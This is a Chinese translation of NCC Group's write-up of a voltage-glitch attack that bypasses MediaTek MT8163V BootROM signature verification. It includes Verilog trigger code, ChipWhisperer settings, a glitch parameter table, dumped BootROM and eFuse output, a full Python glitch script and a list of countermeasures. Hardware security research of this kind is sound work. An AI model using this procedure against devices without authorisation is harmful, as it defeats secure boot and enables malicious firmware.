針對(duì)聯(lián)發(fā)科MT8163V芯片組的硬件攻擊 [翻譯] Glitching The MediaTek BootROM

攻擊目標(biāo):使用聯(lián)發(fā)科MT8163V的某平板電腦( MediaTek MT8163V system-on-chip (64-bit ARM Cortex-A))
攻擊手段:Voltage glitching
攻擊過程:Boot Process
攻擊目的:Bypassing signature verification for firmware checking
需要的硬件設(shè)備:帶有TOE的設(shè)備,1.8v UART, 樹莓派Raspberry Pi 3, Sipeed Tang Nano FPGA, ChipWhisper for voltage glitches

目前大部分的安全芯片已經(jīng)針對(duì)側(cè)信道和錯(cuò)誤注入進(jìn)行了相應(yīng)的考慮和防護(hù),對(duì)具備抗?jié)B透攻擊的安全芯片很難實(shí)現(xiàn)有效的攻擊。而對(duì)于低功耗缺乏相應(yīng)防護(hù)設(shè)計(jì)的微處理器仍然比較有效,例如針對(duì)STM32 ECU(“Shedding too much Light on a Microcontroller’s Firmware Protection”), NXP LPC(https://toothless.co/blog/bootloader-bypass-part1/)和ESP32的攻擊(https://docs.espressif.com/projects/esp-idf/en/latest/esp32/security/secure-boot-v1.html)。
但是聯(lián)發(fā)科MT8163V芯片組廣泛應(yīng)用在移動(dòng)端設(shè)備、平板電腦和個(gè)人筆記本PC上,因此NCC group針對(duì)其進(jìn)行的攻擊分析更加有價(jià)值,下面我們進(jìn)入正題,一起學(xué)習(xí)下整個(gè)攻擊過程。

總體來(lái)講,攻擊是針對(duì)MediaTek BootROM進(jìn)行的,攻擊的結(jié)果將導(dǎo)致敵手可以繞過preloader階段所有的Secure boot機(jī)制從而可以輕松執(zhí)行非法的固件鏡像,進(jìn)而導(dǎo)致可信根的完全失效。

文章提出的攻擊針對(duì)的是mask ROM, 因此很難通過打patch的方式進(jìn)行直接修復(fù),但是由于攻擊手段的特殊性,此威脅模型需要通過物理方式對(duì)設(shè)備進(jìn)行直接訪問,因此敵手的攻擊難度較高。

MediaTek Boot Process

首先介紹boot總體流程,通常來(lái)講在OEM的設(shè)備制造階段SoC會(huì)將boot policy存在efuse中,之后啟動(dòng)階段bootROM會(huì)讀取efuse中的policy內(nèi)容并將preloader從外部eMMC中載入到RAM中,并且驗(yàn)證簽名的有效性。BootROM作為boot階段的第一個(gè)操作,被看作是SoC的可信根。

MediaTek的preloader是boot階段的第二個(gè)操作并且其代碼是可變的。preloader存儲(chǔ)在Boot0的eMMC分區(qū)中,根據(jù)eMMC的文檔說明這個(gè)特殊分區(qū)和user數(shù)據(jù)分區(qū)相分離。

Boot Process

Boot Process Analysis

首先MediaTek的SoC會(huì)進(jìn)行存儲(chǔ)兩份preloader的鏡像,如果兩次簽名驗(yàn)證都失敗那么就會(huì)進(jìn)去Download Mode下載態(tài),對(duì)應(yīng)的UART指令為“[DL] 00009C40 00000000 010701” 。

進(jìn)入下載態(tài),需要將preloader從flash(eMMC)載入到RAM中,eMMC的boot mode特征被啟用。BootROM將eMMC進(jìn)行復(fù)位并且使其進(jìn)入“alternative boot mode”。這里的執(zhí)行指令為兩條GO_IDLE_STATE (CMD0):

  • 0xF0F0F0F0 :pre-idle狀態(tài)
  • 0xFFFFFFFA :boot 狀態(tài)


    eMMC into boot mode 指令.png

一旦收到以上的第二條指令,eMMC開始講BOOT0中特殊分區(qū)中的preloader內(nèi)容通過DAT0數(shù)據(jù)線已1bit的方式發(fā)送給RAM。這部分的總體時(shí)間大概在100ms。


Translating preloader on DAT0

第一個(gè)鏡像文件傳輸結(jié)束后,立即被指令GO_IDLE_STATE中斷并再次進(jìn)行reset操作。


Retset after the first image transfer

當(dāng)?shù)谝粋€(gè)preloader鏡像可用時(shí),觀察到從第二個(gè)鏡像文件完成最后1byte的數(shù)據(jù)到eMMC的第一個(gè)指令被preloader處理,中間大致需要2s時(shí)間。剛剛看到,第一個(gè)鏡像傳輸完后,會(huì)進(jìn)行reset操作,但是如果第一個(gè)鏡像不可用(簽名驗(yàn)證失敗),而需要傳輸?shù)诙€(gè)鏡像的情況下,不會(huì)執(zhí)行reset指令,而是等到接受完第二個(gè)鏡像后,才會(huì)進(jìn)行reset操作,經(jīng)過觀察,在這種情況下從開始load第一個(gè)鏡像到開始load第二個(gè)鏡像間大致需要700ms的時(shí)間。


Prepare the second image

因此可以判斷出,在這700ms的時(shí)間內(nèi),BootROM的操作為解析第二個(gè)鏡像的結(jié)構(gòu)并且進(jìn)行簽名驗(yàn)簽操作,之后會(huì)進(jìn)行1.2s的preloader代碼初始化操作,可以看到加上剛才的700ms也是2s左右。現(xiàn)在可以比較的清楚的推測(cè)出,無(wú)論BootROM接受到哪一個(gè)鏡像,開始的700ms左右時(shí)間是解析鏡像結(jié)構(gòu)和驗(yàn)證簽名有效性的操作,因此在這個(gè)過程中執(zhí)行voltage glitch攻擊主要是針對(duì)驗(yàn)簽結(jié)果判斷的干擾,使得其可能跳過這個(gè)判斷或者將判斷結(jié)果打錯(cuò)。

FPGA Trigger Setup

為了精確的進(jìn)行g(shù)litch觸發(fā),NCC group使用了一個(gè)非常便宜的FPGA(Sipeed Tang Nano),這個(gè)FPGA需要接入eMMC芯片的CLK、DAT0以及CMD(需要邏輯分析儀進(jìn)行debug)這3個(gè)接口,以下顯示的是焊接的示意圖:


FPGA for trigger glitch

此FPGA的默認(rèn)電壓是3.3v但是在1.8v下也可以正常工作,其輸入為3.3.v的觸發(fā)信號(hào)并且將此信號(hào)通過輸入pin腳傳給ChipWhisper。

觸發(fā)信號(hào)的Verilog代碼非常簡(jiǎn)單:因?yàn)镕PGA的時(shí)鐘由eMMC驅(qū)動(dòng)并且使用DAT0的一個(gè)移位寄存器從而始終記錄傳輸線路上的最后4字節(jié)數(shù)據(jù)。如果想要的pattern一旦出現(xiàn)(preloader的最后4個(gè)字節(jié)),立即輸出一段長(zhǎng)度為512eMMC時(shí)鐘cycles的觸發(fā)信號(hào):

always @(posedge emmc_clk or negedge sys_rst_n) begin
     capture <= capture;
     counter <= counter;
     trigger <= trigger;
     if (!sys_rst_n) begin
         trigger <= 1'b0;
         counter <= 24'b1000000000;
         capture <= 32'b0;
     end else if (counter > 0) begin
         counter <= counter - 1;
         capture <= 32'b0;
     end else if (capture == 32'h4ebbc04d) begin
         trigger <= 1'b1;
         counter <= 24'b1000000000;
     end else begin
         trigger <= 1'b0;
         capture <= {capture[31:0], emmc_dat0};
     end
 end

舉例說明,以下是就是preloader的第一個(gè)鏡像的最后一段數(shù)據(jù)的hex結(jié)果,例如一旦查找到最后4bytes數(shù)據(jù)為4e bb c0 4d并匹配成功,觸發(fā)信號(hào)將立即發(fā)給Chipwhispher,在一段延時(shí)后將形成特定寬度的glitch信號(hào)。

Finding the last 4 bytes of first image

Glitch Target

當(dāng)接收到來(lái)自FPGA的觸發(fā)信號(hào)后,ChipWhisper平臺(tái)負(fù)責(zé)產(chǎn)生voltage glitch


ChipWhisper voltage glitch connection

將一個(gè)SMA轉(zhuǎn)換頭焊接到平板電腦的板子上,并且通過導(dǎo)線與VCCK_PMU相連。ChipWhisper通過一個(gè)低功耗的MOSFET將電壓拉到地對(duì)VCCK_PMU進(jìn)行voltage glitch攻擊。核心電壓在短時(shí)間內(nèi)被瞬間拉低,攻擊者期望這樣可以中斷處理器內(nèi)部的某個(gè)狀態(tài)(例如寄存器中的數(shù)值),但是并不會(huì)導(dǎo)致整個(gè)系統(tǒng)的崩潰。為了可以接入VCCK_PMU,PCB上的部分焊錫可以使用小刀將其刮掉。作者發(fā)現(xiàn)不需要對(duì)板子上的其他器件進(jìn)行改變,例如不需要移除偶爾電容等。

Overall Setup

攻擊的Setup設(shè)備連接示意圖顯示如下


Connections of attack setup

以下是攻擊平臺(tái)使用的所有硬件設(shè)備:

  • 1.8v UART: A UART adapter which uses 1.8v logic level. This is used so that we can see target output and determine when a glitch attempt has succeeded ($2 USD).
  • RaspberryPi: Used to programmatically reset the target device by disabling and re-enabling USB power with uhubctl ($50 CAD, CanaKit).
  • FPGA: Passively listens to eMMC traffic and outputs glitch trigger signal to ChipWhisperer ($10 CAD, Digikey).
  • ChipWhisperer: Inserts voltage glitches after the trigger signal is activated ($325 USD, NewAE Technology).

Determining The Initial Glitch Parameters 關(guān)于ChipWhisper的初始參數(shù)設(shè)置

The following parameters were used to set up the ChipWhisperer glitch:

scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.clock.clkgen_freq = 16000000 
scope.io.glitch_lp = True 
scope.io.glitch_hp = False

接下來(lái),需要確定glitch的寬度,這里作者使用手動(dòng)的方式在BootROM讀取preloader的過程中使用多個(gè)寬度的glitch進(jìn)行嘗試。發(fā)現(xiàn)Glitch的寬度在80-100時(shí)鐘周期是可以引發(fā)preloader的多種中斷結(jié)果。然而,這其中的大部分中斷并不是可以利用的有效glitch。例如作者舉了一個(gè)中斷的結(jié)果示例:

[2176] [PART] check_part_overlapped done
[2180] [PART] load "tee1" from 0x0000000000B00200 (dev) to 0x43001000 (mem) [SUCCESS] 
[2181] [PART] load speed: 15000KB/s, 46080 bytes, 3ms
[2213] [platform] ERROR: <ASSERT> div0.c:line 41 0 
[2213] [platform] ERROR: PL fatal error... 
[2214] [platform] PL delay for Long Press Reboot

Bruteforcing the Correct Glitch Parameters 窮舉Glitch有效參數(shù)

根據(jù)之前的分析,我們假設(shè)驗(yàn)簽過程發(fā)生在最后GO_IDLE_STATE指令后的700ms內(nèi)。顯然我們需要在這700ms的窗口內(nèi),對(duì)其進(jìn)行窮舉分析。

首先,未經(jīng)修改并簽名后的preloader鏡像會(huì)載入eMMC的BOOT0分區(qū)中。之后,將對(duì)其進(jìn)行一個(gè)粗糙的glitch攻擊,對(duì)應(yīng)的范圍為[25400, 100000],步進(jìn)設(shè)置為200 cycles。這時(shí)候glitch可能產(chǎn)生的效果要么使得終端崩潰(UART上無(wú)返回),要么進(jìn)入DL模式(Download Mode) - (“UART: [DL] 00009C40 00000000 010701”)。

之后,發(fā)現(xiàn)大部分的glitch并沒有能夠產(chǎn)生影響,終端順利進(jìn)入下載模式并進(jìn)行數(shù)據(jù)的傳輸,但是經(jīng)過幾個(gè)小時(shí)的注入攻擊,發(fā)現(xiàn)在某些時(shí)刻產(chǎn)生了異常,并且改用更加精細(xì)的glitch控制,例如將步進(jìn)改為20 cycles。

按照以上的分析,需要進(jìn)行暴力破解攻擊,攻擊者構(gòu)造了一個(gè)非法的鏡像,正常情況下由于簽名驗(yàn)證失敗BootROM驗(yàn)證不允許載入鏡像,但是假設(shè)在合適的時(shí)間進(jìn)行g(shù)litch攻擊后則可以跳過驗(yàn)證過程成功載入非法鏡像。經(jīng)過2個(gè)小時(shí)的攻擊,發(fā)現(xiàn)了多次成功的攻擊。然而,這些偶然的成功攻擊并不可靠,因此需要更加細(xì)致的調(diào)節(jié)。

接下來(lái), 優(yōu)化多個(gè)參數(shù)嘗試使用不同的時(shí)間偏移和毛刺寬度。依照合適的參數(shù),可以將攻擊成功率提到到15% ~ 20%。以下統(tǒng)計(jì)了使用的參數(shù)和運(yùn)行次數(shù)等,表明多個(gè)時(shí)間偏移和毛刺寬度可以實(shí)現(xiàn)成功的攻擊。

Width Offset Success Run Total Runs Success Rate
94 41428 122 802 15.21%
93 41430 154 802 19.20%
94 41431 156 803 19.43%
127 41431 176 803 21.92%
129 41431 167 803 20.80%
93 41432 182 803 22.67%
115 41432 168 803 20.92%
117 41432 188 802 23.44%
126 41432 161 802 20.07%
130 41432 181 803 22.54%
117 41433 180 803 22.42%
118 41433 178 802 22.19%
129 41433 158 802 19.70%
100 41434 147 803 18.31%
103 41434 162 803 20.17%
104 41434 163 803 20.30%
128 41434 180 803 22.42%
129 41434 169 802 21.07%
130 41434 176 803 21.92%
103 41435 157 803 19.55%
104 41435 187 803 23.29%
126 41435 167 803 20.80%
128 41435 161 803 20.05%
100 41436 160 803 19.93%
102 41436 169 802 21.07%
100 41437 160 803 19.93%
102 41438 158 803 19.68%
103 41438 157 803 19.55%
104 41438 147 802 18.33%

可以看到,毛刺寬度范圍為(93 - 130)時(shí)間偏移為(41428 - 41438)。文章的最后,這些參數(shù)將傳給ChipWhisper的glitch腳本程序。

Payload Execution 自定義負(fù)載執(zhí)行

顯然更有意義的攻擊是執(zhí)行自定義的代碼負(fù)載。因此需要替換原始鏡像中的一段代碼。對(duì)原始preloader二進(jìn)制文件進(jìn)行修改,使其跳轉(zhuǎn)到原本需要執(zhí)行GPT 解析的附近位置。選擇這個(gè)特殊的位置是因?yàn)?,作為preloader的后續(xù)階段,一旦glitch成功注入,UART接口將不得不重新設(shè)置不同的傳輸速率,而在這期間需要花費(fèi)一段時(shí)間并會(huì)導(dǎo)致preloader中的早期數(shù)據(jù)丟失。

添加的自定義負(fù)載將輸出一段log消息,并且將BootROM和eFuse中的數(shù)據(jù)讀出,一個(gè)成功的glitch攻擊嘗試將在UART的輸出中展示:

Dry run 
Dry run done, go!
105 41431 b'\x00[DL] 00009C40 00000000 010701\n\r' 
105 41433 b'\x00' 
99 41432 b'\x00\n\rF0: 102B 0000\n\rF3: 4000 0036\n\rF3: 0000 0000\n\rV0: 0000 0000 [0001]\n\r00: 0007 4000\n\r01: 0000 0000\n\rBP: 0000 0209 [0000]\n\rG0: 0190 0000\n\rT0: 0000 038B [000F]\n\rJump to BL\n\r\n\r\xfd\xf0' 
Glitched after 10.936420202255249s, reopening serial!

<snip>

[1167] [Dram_Buffer] dram_buf_t size: 0x1789C0  
[1167] [Dram_Buffer] part_hdr_t size: 0x200  
[1168] [Dram_Buffer] g_dram_buf start addr: 0x4BE00000  
[1169] [Dram_Buffer] g_dram_buf->msdc_gpd_pool start addr: 0x4BF787C0  
[1169] [Dram_Buffer] g_dram_buf->msdc_bd_pool start addr: 0x4BF788C0  
[1187] [RAM_CONSOLE] sram(0x12C000) sig 0x0 mismatch 
[1188] [RAM_CONSOLE] start:   0x44400000, size: 0x10000 
[1188] [RAM_CONSOLE] sig:     0x43074244 
[1189] [RAM_CONSOLE] off_pl:  0x40 
[1189] [RAM_CONSOLE] off_lpl: 0x80 
[1189] [RAM_CONSOLE] sz_pl:   0x10 
[1190] [RAM_CONSOLE] wdt status (0x0)=0x0 

<snip> 

----------------------------------------------------------------------
MediaTek MT8163V voltage glitch proof of concept NCC Group 2020
----------------------------------------------------------------------
BootROM: 
00000000: 08 00 00 EA FE FF FF EA FE FF FF EA FE FF FF EA  
00000010: FE FF FF EA FE FF FF EA FE FF FF EA FE FF FF EA  
00000020: BB BB BB BB 38 00 20 10 00 00 A0 E3 00 10 A0 E3  
00000030: 00 20 A0 E3 00 30 A0 E3 00 40 A0 E3 00 50 A0 E3  
00000040: 00 60 A0 E3 00 70 A0 E3 00 80 A0 E3 00 90 A0 E3  
00000050: ... 

EFUSE: 
10206000: 11 00 0F 00 62 00 00 00 00 00 00 00 00 00 00 00  
10206010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206040: 00 10 02 04 00 00 50 0C 00 00 00 00 00 00 00 00  
10206050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206060: 46 08 00 00 00 00 00 00 07 00 00 00 00 00 00 00  
10206070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206090: 47 C8 DE F6 A6 A9 A1 8B 7A 8D 71 91 06 BC 18 86  
102060A0: 9F 97 E1 CD A3 7C 4C E8 AB E8 7F 60 E8 A6 FD 77 
102060B0: 

到此,攻擊者已成功實(shí)現(xiàn)了攻擊并且可以通過負(fù)載執(zhí)行任意的代碼。后續(xù)還可以基于此執(zhí)行更加高權(quán)限的操作,例如加解密、加載修改的TrustZone鏡像、運(yùn)行惡意的LK(little kernel)/Android image等等。

Conclusion

作者對(duì)MediaTek MT8163V SoC進(jìn)行的glitch攻擊,并不需要太多苛刻的要求(例如時(shí)鐘同步以及去除電容等),就可以獲得比較高的成功概率。進(jìn)過手動(dòng)重啟,可以將20%左右的成功從效果上提升到100%。

由于這里的脆弱點(diǎn)影響的是BootROM,無(wú)法簡(jiǎn)單的通過打patch的方式進(jìn)行修復(fù),并且這一批的同類型產(chǎn)品都會(huì)受到影響。聯(lián)發(fā)科后面將會(huì)有案發(fā)新的抗glitch攻擊的BootROM在其SoC平臺(tái)上,但是時(shí)間和型號(hào)未知。

防護(hù)措施

硬件上的防護(hù)最有效,例如增加芯片的傳感器等。
軟件上的防護(hù)也不可忽視,例如:

  • 關(guān)鍵檢查的冗余操作,攻擊者不得不成功的對(duì)多個(gè)關(guān)鍵的判斷語(yǔ)言進(jìn)行g(shù)litch攻擊,才能跳過某個(gè)安全檢查。
  • 添加隨機(jī)延時(shí),在代碼上添加隨機(jī)延時(shí),使得攻擊者不能確定精確的攻擊范圍,從而加大窮舉攻擊的難度。
  • 完善流程的完整性控制,建議在BootROM中針對(duì)關(guān)鍵程序的執(zhí)行路徑,進(jìn)行的完整性檢查將會(huì)對(duì)非法代碼運(yùn)行、關(guān)鍵判斷和路徑跳過產(chǎn)生很大的影響。

附錄:Glitch Source Code

import chipwhisperer as cw 
import time 
import serial 
import subprocess 
import sys 

start = time.time() 

scope = cw.scope() 
scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.clock.clkgen_freq = 16000000 
scope.io.glitch_lp = True 
scope.io.glitch_hp = False 

SERIAL = "/dev/ttyUSB0" 
RPI = "192.168.0.18" 

def power_off():
     subprocess.check_output(["ssh", "root@{}".format(RPI), 
                              "/root/uhubctl/uhubctl -l 1-1 -p 2 -a 0"])

def power_on():
     subprocess.check_output(["ssh", "root@{}".format(RPI), 
                              "/root/uhubctl/uhubctl -l 1-1 -p 2 -a 1"])

ser = serial.Serial(SERIAL, 115200, timeout=0.1) 

print("Dry run") 
power_off() 
scope.glitch.repeat = 10 
scope.glitch.ext_offset = 0 
scope.arm() power_on() 
for x in range(10):
     data = ser.read(100000)
power_off() 
print("Dry run done, go!")

def glitch_attempt(offset, width):
     power_off()
     scope.glitch.repeat = width
     scope.glitch.ext_offset = offset
     scope.arm()
     power_on()
     data = b""
     for x in range(30):
         data += ser.read(100000)
         if b"[DL]" in data and b"\n\r" in data:
             break
         if b"Jump to BL" in data and b"\n\r" in data:
             break
     print(width, offset, data)
     if b"Jump" in data:
         print("Glitched after {}s, reopening serial!\n\n".format(
               time.time() - start))
         ser.close()
         ser2 = serial.Serial(SERIAL, 921600, timeout=0.1)
         while True:
             data = ser2.read(10000)
             sys.stdout.buffer.write(data)
             sys.stdout.flush()
try:
     while True:
         for width, offset in [
             (105, 41431), (105, 41433), ( 99, 41432), (101, 41434),
             (127, 41430), (104, 41432), (134, 41431), (135, 41434),
         ]:
             glitch_attempt(offset, width)
finally:
     print("Turn off")
     power_off()
     print("Disable scope")
     scope.dis()
     print("Bye!\n")
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容